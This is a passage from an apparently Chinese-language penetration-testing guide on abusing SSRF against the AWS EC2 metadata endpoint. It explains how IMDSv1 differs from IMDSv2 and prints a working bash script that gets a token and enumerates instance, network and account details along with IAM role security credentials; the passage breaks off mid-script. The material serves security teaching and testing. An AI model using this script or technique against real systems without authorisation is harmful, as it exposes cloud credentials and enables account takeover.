{% endhint %} ## AWS ### 在 AWS EC2 环境中滥用 SSRF **元数据** 端点可以从任何 EC2 机器内部访问,并提供有关它的有趣信息。它可以通过以下 URL 访问:`http://169.254.169.254` ([有关元数据的信息在这里](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html))。 元数据端点有 **2 个版本**。**第一个** 版本允许通过 **GET** 请求 **访问** 该端点(因此任何 **SSRF 都可以利用它**)。对于 **版本 2**,[IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html),您需要通过发送带有 **HTTP 头** 的 **PUT** 请求来请求 **令牌**,然后使用该令牌通过另一个 HTTP 头访问元数据(因此用 SSRF 滥用它 **更复杂**)。 {% hint style="danger" %} 请注意,如果 EC2 实例强制执行 IMDSv2,[**根据文档**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html),**PUT 请求的响应** 将具有 **跳数限制为 1**,使得无法从 EC2 实例内部的容器访问 EC2 元数据。 此外,**IMDSv2** 还将 **阻止包含 `X-Forwarded-For` 头的请求以获取令牌**。这是为了防止配置错误的反向代理能够访问它。 {% endhint %} 您可以在文档中找到有关 [元数据端点的信息](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html)。在以下脚本中,从中获取了一些有趣的信息: ```bash EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null) HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN" URL="http://169.254.169.254/latest/meta-data" aws_req="" if [ "$(command -v curl)" ]; then aws_req="curl -s -f -H '$HEADER'" elif [ "$(command -v wget)" ]; then aws_req="wget -q -O - -H '$HEADER'" else echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" fi printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo "" printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo "" printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo "" printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo "" printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo "" printf "region: "; eval $aws_req "$URL/placement/region"; echo "" echo "" echo "Account Info" eval $aws_req "$URL/identity-credentials/ec2/info"; echo "" eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document"; echo "" echo "" echo "Network Info" for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do echo "Mac: $mac" printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo "" printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo "" printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo "" echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo "" printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo "" echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo "" printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo "" echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo "" echo "" done echo "" echo "IAM Role" eval $aws_req "$URL/iam/info" for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do echo "Role: $role" eval $aws_req "$URL/iam/security-credentials/$role"; echo "" echo "" done echo "" echo "User Data" #
